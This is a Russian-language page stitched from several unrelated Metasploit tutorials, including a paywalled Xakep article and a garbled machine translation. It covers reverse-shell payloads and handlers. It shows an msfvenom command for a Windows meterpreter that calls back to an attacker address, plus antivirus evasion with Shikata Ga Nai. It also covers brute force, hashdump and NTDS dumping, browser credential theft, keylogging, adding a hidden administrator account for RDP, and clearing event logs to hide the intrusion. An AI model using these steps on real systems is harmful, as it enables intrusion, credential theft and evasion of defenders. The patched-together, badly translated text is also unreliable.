Как в metasploit выбрать tcp reverse shell для windows 10 x64
Metasploit Framework — самый масштабный и распиаренный из всех фреймворков для эксплуатации и постэксплуатации. Даже если ты не используешь его сам, то наверняка встречал немало упоминаний MSF в наших статьях. Однако вводной статьи по нему в «Хакере» не было, а если и была, то так давно, что не считается. Я попробую начать с самого начала, а заодно расскажу, как именно этот фреймворк использует моя команда, и дам разные практические советы.
Установка Metasploit Framework
В дистрибутивах, предназначенных для тестирования на проникновение (к примеру, Kali или Parrot OS), этот продукт либо предустановлен, либо легко устанавливается следующей командой:
Если же ты хочешь использовать Metasploit Framework, например, в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы:
База данных Metasploit
Довольно часто пользователям Metasploit приходится ломать сети, содержащие очень много хостов. И наступает момент, когда аккумулирование всей полученной информации занимает непозволительно долгое время. Именно тогда начинаешь ценить возможность работы Metasploit Framework с СУБД PostgreSQL. Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.
Проверить подключение к базе данных можно из самого фреймворка, выполнив команду db_status .
Успешное подключение к базе данных Metasploit
Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого рабочего пространства. Давай добавим новое пространство в наш проект.
Создание нового рабочего пространства
Теперь мы действуем в созданном рабочем пространстве. Представим, что мы находимся в сети 192.168.6.0.24. Давай поищем в ней доступные хосты. Для этого будем использовать Nmap , но из Metasploit и с привязкой к текущей базе данных — db_nmap .
Сам вывод Nmap нам неинтересен: все, что нужно, будет сохранено в базе данных. К примеру, у нас есть уже все просканированные хосты и мы можем их просмотреть одним списком с помощью команды hosts .
Список просканированных хостов, сохраненный в базе данных
Но заодно с хостами были сохранены и все службы, список которых у нас теперь также всегда будет под рукой. При этом мы можем посмотреть как вообще все службы на портах, так и список служб для определенного хоста.
Список всех найденных служб Список найденных на определенном хосте служб
У базы данных msfdb есть очень крутая возможность — сохранение всех найденных учетных данных. Об этой функции я расскажу позже, а сначала несколько слов о возможностях брутфорса, которыми располагает фреймворк. Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:
Модули для брутфорса учетных данных некоторых служб
Обрати внимание на SMB. Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info .
Описание модуля smb_login
Давай выберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.
Настройка модуля smb_login Обнаруженный smb_login пароль для целевого пользователя
Если найденный пользователь — администратор, Metasploit сообщит нам об этом, что очень удобно. Но ведь в нашей сети может быть 100 машин и даже больше, а на них наверняка запущено множество служб. Как правило, удается собрать много учетных данных, используя только модули брутфорса. Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой creds .
Хранилище учетных данных msfdb
Я описал не все функции msfdb (есть интеграции со сканерами Nessus и OpenVAS), а лишь те, которыми постоянно пользуется наша команда.
Получение точки опоры
Полезная нагрузка
Metasploit предоставляет большой арсенал возможностей для создания полезной нагрузки. Но нужно учитывать, что существуют разные способы внедрения этой самой нагрузки. С помощью фреймворка можно создавать как легкие пейлоады для выполнения команд и получения простого шелла, так и сложные, например meterpreter или VNC (с использованием дополнительного загрузчика).
При этом одна и та же полезная нагрузка может работать как в режиме ожидания подключения (bind), так и в режиме reverse (для бэкконнекта от целевого хоста). Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell.
Чтобы найти нагрузку для определенного случая, используем команду search .
Некоторые виды полезной нагрузки Metasploit
В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom.
Давай для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows, — это windows/x64/meterpreter/reverse_tcp .
Описание нагрузки windows/x64/meterpreter/reverse_tcp
Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe .
Создание нагрузки с помощью msfvenom
Исполняемый файл с нагрузкой готов. Да, у msfvenom есть еще много функций вроде задержек и кодеров, но наша команда их не использует.
Листенер
За создание листенера отвечает модуль exploit/multi/handler . Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого пейлоада.
Создание листенера
Есть быстрый способ создать такой листенер — команда укладывается в одну строку.
Создание листенера
И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте.
Эксплоиты
Об используемых нами эксплоитах в обертке Metasploit Framework я расскажу кратко, так как для получения точки опоры мы используем только два из них. Это exploit/windows/smb/psexec и exploit/windows/smb/ms17_010_eternalblue . Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол. Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами.
Получение сессии meterpreter
В итоге мы получаем сессию meterpreter для удаленного хоста с операционной системой Windows.
Эксплуатация и постэксплуатация
Windows
База meterpreter
Теперь я расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload . Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate . Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps ).
Мигрирование в другой процесс
Также мы можем создавать свои процессы. Для этого нужно указать лишь файл ( -f ) и при желании включить интерактивный ( -i ) или скрытый ( -H ) режимы.
Создание скрытого процесса cmd.exe
Кстати, проблема кодировки решается с помощью команды cp 65001 . Опция, используемая почти всегда, — переход в контекст SYSTEM. Для этого нужно просто выполнить команду getsystem .
Переход в контекст SYSTEM
Очень полезна функция поиска файлов, если тебе нужно найти на удаленной машине документы или архивы.
Поиск всех файлов TXT
Еще можно выполнить на взломанном хосте команду PowerShell или Python, а также загрузить PS1-файл или скрипт на Python в память. Для этого сначала запусти нужные модули, а потом выбери соответствующую команду.
Модуль PowerShell Модуль Python
Туннели
Одна из самых крутых возможностей Metasploit — создание туннелей. Мы можем использовать захваченный хост как мост между внешней и внутренней сетью. Обычно сначала проверяют, есть ли дополнительные сетевые интерфейсы.
Получение адреса внутренней сети
Для обнаружения хостов мы можем посмотреть таблицу ARP.
ARP-таблица целевого хоста
Теперь нам необходимо построить туннель. Сначала создадим маршрут и проверим его с помощью autoroute .
Создание маршрута Список созданных маршрутов
Теперь отправим сессию в фоновый режим, тем самым перейдя из оболочки meterpreter в оболочку msf.
Переход в фоновый режим
На следующем этапе нам нужно настроить SOCKS-прокси-сервер. За это отвечает модуль auxiliary/server/socks4a . В качестве параметров он принимает хост и порт (по умолчанию — localhost:1080 ).
Создание SOCKS4-прокси-сервера
Чтобы вернуться обратно в оболочку meterpreter, можно воспользоваться командой sessions и указать номер сессии.
Переход в фоновый режим
В качестве редиректора мы можем использовать ProxyChains. Для этого укажем адрес созданного нами прокси-сервера в файле конфигурации /etc/proxychains.conf .
Файл конфигурации ProxyChains
Теперь просканируем с помощью Nmap и созданного туннеля найденный в ARP-таблице хост.
Сканирование портов хоста во внутренней сети через туннель Metasploit
Сбор учетных данных
Сбор паролей и хешей — неотъемлемая часть любой атаки, и Metasploit позволяет это делать легко и непринужденно. Первый метод — воспользоваться командой hashdump , которая собирает хеши из файла SAM.
Использование опции hashdump
Если мы имеем доступ к контроллеру домена, то можем очень легко сдампить файл NTDS.DIT (что это за файл и зачем он нужен, подробно рассказывалось вот в этой статье).
Использование опции hashdump
При этом мы можем получать пароли из групповой политики и MS SQL благодаря модулям post/windows/gather/credentials/gpp , а также сохраненные пароли Skype, TeamViewer и Outlook ( post/windows/gather/credentials/outlook , post/windows/gather/credentials/skype , post/windows/gather/credentials/teamviewer_passwords ). Ну и конечно же, я не могу оставить без внимания браузеры, из которых мы получаем не только учетные данные, но еще и файлы куки, и историю просмотра веб-страниц.
Получение данных из браузера
Все эти файлы сохранятся в базе msfdb , и к ним всегда можно получить доступ, выполнив команду loot .
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
Shikata Ga Nai
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
Подробнее о Shikata Ga Nai читай в публикации Ника Хоффмана, Джереми Хамбла и Тоби Тейлора.
Определение проблемы
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Для начала сгенерируем стандартную нагрузку без SGN:
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -f exe > clean_shell. exe
.
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10. 10. 0. 180 :
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Очевидно, что файл заблокировал Google Chrome
Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.
При попытке открыть нас ждет предупреждение и файл удаляется
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows! 🙂
Автоматическое удаление файла с Meterpreter
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e x86/ shikata_ga_nai -b '\ x00' -i 20 , то есть используем SGN в 20 итераций с удалением плохого символа \ x00 .
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -e x86/ shikata_ga_nai -b \ x00 -i 20 -f exe > sgn_20_shell. exe
.
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
.
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
SGN не помог обойти антивирус
Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
C сентября 2020 года компания Google ввела Advanced Protection Program для высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
Запуск Meterpreter из памяти
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python. Известен способ запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter ). Однако это не всегда удобно, и этот способ можно улучшить.
Продолжение доступно только участникам
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Denis Simonov
Пентестер и дизайнер. Занимаюсь проблемами моделирования времени в виртуальных мирах.
Для того, чтобы попробовать то, о чём пойдёт речь, на практике, вам понадобится компьютер с установленной на нём Kali Linux, компьютеры под управлением Windows и Linux, Android-смартфон. В процессе работы, при составлении команд, мы будем пользоваться следующими ключами:
Организация Bind Shell-подключения
Теперь запустим msfconsole и введём нижеприведённые команды для того, чтобы открыть сессию:
После выполнения файла в нашем распоряжении окажется meterpreter-подключение к целевому компьютеру:
Использованная здесь опция bind_tcp полезна в тех случаях, когда мы отключаемся от компьютера жертвы, но он при этом ещё работает. Мы можем выполнить ту же команду и подключиться снова, при этом не нужно, чтобы эксплойт снова запускали на удалённом компьютере.
Организация Reverse Shell-подключения
Для того, чтобы создать соответствующую полезную нагрузку, нужно ввести в терминале Kali следующую команду:
В данном случае мы включаем в команду некоторые новые параметры, такие, как lhost (локальный хост), lport (локальный порт) для того, чтобы принять обратное соединение от компьютера жертвы.
После того, как пэйлоад создан, отправлен на атакуемый компьютер и выполнен там, мы переходим ко второму шагу атаки. Запустим msfconsole и введём следующие команды для того, чтобы организовать подключение удалённого компьютера к нашей машине.
На нижеприведённом рисунке видно, что после того, как жертва запустит пэйлоад, выполняется обратное подключение к нашему компьютеру и у нас оказывается сессия meterpreter .
После создания пэйлоада и отправки его жертве, которая, как ожидается, рано или поздно запустит соответствующий файл, мы переходим к следующему шагу. Запускаем msfconsole и вводим следующие команды для организации подключения:
Как видно на следующем рисунке, после того, как пэйлоад будет запущен на целевом компьютере, происходит обратное подключение к нашему компьютеру и мы можем пользоваться возможностями сессии meterpreter.
Скрытое Bind Shell-подключение
Исследуем ещё одну возможность msfvenom и попытаемся с её помощью обрести контроль над удалённым компьютером. В этот раз мы хотим заполучить доступ к командной оболочке, а не к сессии meterpreter.
Пэйлоад, который мы создадим нижеприведённой командой, после выполнения, прячется в системе, его нельзя обнаружить сканером портов.
После того, как файл готов и отправлен жертве, мы можем перейти к следующему шагу. А именно, воспользуемся Netcat, введя в терминале Kali следующую команду:
Reverse Shell-подключение с помощью Netcat
Теперь рассмотрим ещё один подход к использованию пэйлоадов типа shell_reverse_tcp , которые позволяют получить доступ к оболочке командной строки атакуемого компьютера. Введём в терминале Kali следующую команду:
После создания файла и отправки его на атакуемый компьютер, создадим прослушиватель порта с использованием netcat :
При условии, что наш пэйлоад был успешно выполнен на удалённом компьютере, ниже показано то, как выглядит подключение к нему.
Пэйлоады-макросы на VBA
Создадим пэйлоад в виде VBA-скрипта, который будем использовать в качестве макроса MS Excel для атаки на целевую машину. Для того, чтобы это сделать, выполним следующую команду в терминале Kali:
Тут введём имя макроса и нажмём на кнопку Create . Макрос мы хотим сохранить в открытой книге, поэтому в соответствующем выпадающем списке надо выбрать This Workbook .
После этого надо вставить в редакторе VBA ранее скопированный код пэйлоада, закрыть редактор и включить макросы.
Когда Excel-файл будет открыт на интересующем нас компьютере, жертве будет предложено включить макросы. После их включения выполнится VBA-скрипт, который создаст обратное подключение к удалённому компьютеру. Выглядеть это будет так, как показано ниже.
VNC-пэйлоад
Хотя и неприлично, без ведома человека, наблюдать за тем, что он делает за компьютером, тот пэйлоад, который мы создадим сейчас, занимается именно этим. Откроем терминал Kali и введём следующую команду:
После создания пэйлоада мы, как обычно, отправляем его жертве, после чего начинаем готовиться к подключению. Для этого вызываем в терминале команду msfconsole и делаем следующее:
Тут можно видеть, что выполнена VNC-инъекция, что установлено удалённое соединение. Так же на компьютере под управлением Kali откроется окно Remote Desktop.
Пэйлоад для Android
Взлом мобильных устройств всегда привлекал к себе немалое внимание, поэтому рассмотрим методику создания пэйлоадов для платформы Android. Откроем терминал Kali и введём следующую команду:
После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство. Затем нужно подготовиться к подключению на Kali:
После того, как пэйлоад будет запущен, в нашем распоряжении будет сессия meterpreter и мы сможем взаимодействовать со взломанным телефоном.
Пэйлоад для Linux
Откроем терминал Kali и введём следующую команду:
После выполнения пэйлоада будет создано обратное TCP-подключение к нашему компьютеру, которое предоставит в наше распоряжение сессию meterpreter.
Пэйлоад для PowerShell
Для того, чтобы создать пэйлоад для PowerShell, откроем терминал Kali и введём следующую команду:
Теперь, как обычно, после создания пэйлоада, передадим его на интересующий нас компьютер и подготовимся принять подключение:
После запуска пэйлоад создаст обратное подключение к оболочке. Выглядит это так, как показано ниже.
Научите вас использовать Meterpreter для проникновения в систему Windows
В этой статье мы познакомим вас с тем, как использовать Meterpreter для сбора информации в целевой системе Windows, получения учетных данных пользователя, создания нашей собственной учетной записи, включения удаленного рабочего стола, создания снимков экрана, получения журналов ключей пользователей и т. Д.
Связанная полезная нагрузка
Полезная нагрузка содержит вредоносный код, который необходимо запускать в удаленной системе. В Metasploit полезная нагрузка - это специальный модуль, который может запускаться как модуль эксплойта и может использовать уязвимости системы безопасности в целевой системе для проведения атак. Короче говоря, этот модуль эксплойта может получить доступ к целевой системе, а код в нем определяет поведение полезной нагрузки в целевой системе.
Модуль Payload в Metasploit в основном имеет следующие три типа:
Single - это полностью независимая полезная нагрузка, и ее так же просто использовать, как запустить calc.exe, например, добавить системного пользователя или удалить файл. Поскольку Single Payload полностью независим, они могут быть похожимиnetcatЗахвачено такими инструментами обработки, не связанными с metasploit.
Полезная нагрузка Stager отвечает за установление сетевого соединения между целевым пользователем и злоумышленником и загрузку дополнительных компонентов или приложений. Обычная полезная нагрузка Stagers - reverse_tcp, которая позволяет целевой системе устанавливать TCP-соединение со злоумышленником. Другой распространенный - bind_tcp, который позволяет целевой системе открывать tcp-прослушиватель, и злоумышленник может связываться с целевой системой в любое время.
Stage - это своего рода компонент полезной нагрузки, загружаемый Stager Payload, этот вид полезной нагрузки может предоставлять более продвинутые функции и не имеет ограничений по размеру.
В Metasploit мы можем определить его тип по имени и формату полезной нагрузки:
Когда мы выполняем команду "show payloads" в Metasploit, она покажет нам список доступных полезных нагрузок:
В этом списке windows / powershell_bind_tcp - это одиночные полезные данные, которые не включают полезные данные этапа. Windows / x64 / meterpreter / reverse_tcp состоит из Stage Payload (reverse_tcp) и Stage Payload (meterpreter).
Что такое Meterpreter?
В Metasploit Framework Meterpreter - это инструмент после проникновения, который относится к динамически масштабируемой полезной нагрузке, которая может быть расширена через сеть во время работы. Этот инструмент основан на концепции «внедрения DLL в память». Он может заставить целевую систему запустить внедренный файл DLL путем создания нового процесса и вызова внедренной DLL.
Среди них связь между злоумышленником и Meterpreter на целевом устройстве достигается через сокет Stager.
Развернуть Meterpreter
Здесь мы выбрали использование reverse_tcp (windows / x64 / meterpreter / reverse_tcp) в качестве Stager, конфигурация и работа показаны на следующем рисунке:
Примечание. После выполнения команды эксплойта мы открыли процессор reverseTCP для прослушивания 192.168.198.196:4444, который является моим (злоумышленником) локальным адресом хоста (LHOST) и номером порта (LPORT). После успешного запуска мы увидим, что отображается meterpreter> командной строки.
Затем мы можем начать «делать что-то».
Файловая система доступа
Meterpreter поддерживает множество команд файловой системы (в основном похожих на системные команды Linux), некоторые из наиболее часто используемых команд следующие:
cd: переключить целевой каталог;
cat: прочитать содержимое файла;
del: удалить файлы;
edit: используйте vim для редактирования файлов
ls: получить файлы в текущем каталоге;
mkdir: новый каталог;
rmdir: удалить каталог;
Загрузить / скачать файлы
Команда «download» может помочь нам загружать файлы из целевой системы, а команда «upload» может загружать файлы в целевую систему.
Пример использования команды «скачать» следующий:
Повышение привилегий
Иногда вы можете обнаружить, что ваш сеанс Meterpreter ограничен разрешениями пользователя, что серьезно повлияет на ваши действия в целевой системе. Например, такие действия, как изменение реестра, установка бэкдоров или экспорт паролей, требуют повышения прав пользователя, и Meterpreter предоставляет нам команду "getsystem", которая может использовать несколько технологий для повышения привилегий в целевой системе:
Команда "getuid" может получить информацию о текущем пользователе. В приведенном выше примере пользователем является "NT AUTHORITY \ SYSTEM", который является локальной системной учетной записью Windows.
Получить учетные данные
И сценарий, и модуль post должны быть выполнены с помощью команды "run". Результаты после запуска модуля hashdump в тестовой среде будут следующими:
Формат вывода данных: имя пользователя: SID: LM hash: NTLM hash . поэтому мы получили три учетные записи пользователей, а именно: Administrator, Guest и Coen.
один из нихLMХеш (aad3b435b51404eeaad3b435b51404ee) иNTLMХеш (31d6cfe0d16ae931b73c59d7e0c089c0) соответствует пустому паролю.
Следующее, что нужно сделать, это пароль пользователя Coen (f773c5db7ddebefa4b0dae7ee8c50aea). Хотя мы можем использовать что-то вродеJohn the RipperТакой инструмент для взлома пароля, но мы напрямуюGoogleПосле этого хеша вы сразу получаетеОткрытый текст пароля:trustno1。
Запустите программу
Мы также можем использовать команду «выполнить» для выполнения приложения в целевой системе. Использование этой команды выглядит следующим образом:
После запуска он выполнит файл, указанный в параметре файла. Необязательные параметры следующие:
-H: создать скрытый процесс
-a: параметры, переданные команде
-i: взаимодействовать с процессом
-m: выполнить из памяти
-t: запустить процесс, используя подделанный токен потока.
-s: выполнить процесс в данном сеансе
Скриншоты
Мы можем использовать команду «Снимок экрана», чтобы сделать снимок экрана и сохранить его в нашей системе.
Эффект от перехвата следующий:
Создать новый аккаунт
Затем мы можем создать новую учетную запись пользователя в целевой системе (сценарий getgui, использовать параметры -u и -p) и назначить ей права администратора (использовать), а затем добавить ее в группу «Пользователи удаленного рабочего стола». в.
Конечно, вы также можете попытаться скрыть недавно добавленного пользователя Hacker в интерфейсе входа в Windows.
Включить удаленный рабочий стол
Когда у нашего нового добавленного пользователя уже естьРазрешения удаленного рабочего столаПосле этого мы можем использовать эти учетные данные для открытия сеанса удаленного рабочего стола.
Прежде всего, нам нужно убедиться, что функция удаленного рабочего стола включена на целевом устройстве Windows (необходимо включить несколько служб), но наш сценарий getgui может помочь нам в этом. Мы можем использовать параметр -e, чтобы гарантировать, что функция удаленного рабочего стола включена на целевом устройстве (она также будет включена автоматически после перезапуска):
Перед запуском сеанса удаленного рабочего стола нам также необходимо использовать команду "idletime", чтобы проверить время простоя удаленного пользователя:
Это может снизить вероятность того, что вас обнаружат, потому что, когда целевой пользователь входит в систему, он увидит следующую информацию:
На следующем рисунке показан экран, на котором злоумышленник использует вновь созданную учетную запись «Хакер» для подключения к удаленному рабочему столу:
Кейлоггер
Meterpreter также может реализовать функцию кейлоггера на целевом устройстве.Кейлоггер в основном включает следующие три команды:
keyscan_start: включить функцию кейлоггера
keyscan_dump: отобразить записанную информацию о кейлоге
keyscan_stop: остановить функцию кейлоггера
Во-первых, нам нужно запустить процесс кейлоггера:
После запуска нам нужно подождать некоторое время, прежде чем экспортировать информацию о записи:
Однако при использовании функции кейлоггинга обычно требуется выполнить привязку к целевому процессу.Далее мы расскажем, как привязать процесс.
Процесс привязки
Meterpreter может работать отдельно или связываться с другими процессами. Следовательно, мы можем привязать Meterpreter к такому процессу, как explorer.exe, и использовать его для достижения постоянства.
В следующем примере мы привяжем Meterpreter к winlogon.exe и захватим записи клавиатуры во время процесса входа в систему.
Во-первых, нам нужно использовать команду «ps» для просмотра процессов, запущенных на целевом устройстве:
Затем используйте «getpid», чтобы найти процесс, который необходимо связать, а затем используйте команду migrate + pid для привязки процесса.
После завершения привязки мы можем начать сбор данных клавиатуры:
Затем мы можем выбрать экспорт кейлогов или использовать команду enum_logged_on_users, чтобы проверить, успешно ли пользователь вошел в систему:
Подождав некоторое время, используйте команду keyscan_dump для экспорта информации о записи:
Захваченный пароль пользователя - trustno1.
Очистить журнал событий
Завершив операцию атаки, не забудьте «очистить поле боя». Все наши операции будут записываться в файл журнала целевой системы, поэтому нам нужно использовать команду «clearev» для очистки журнала событий после завершения атаки:
подводить итоги
Конечно, функция Meterpreter - это гораздо больше. Содержание, представленное в этой статье, является лишь верхушкой айсберга. Заинтересованные студенты могут использовать поисковые системы, чтобы больше узнать о соответствующих знаниях.
Читайте также: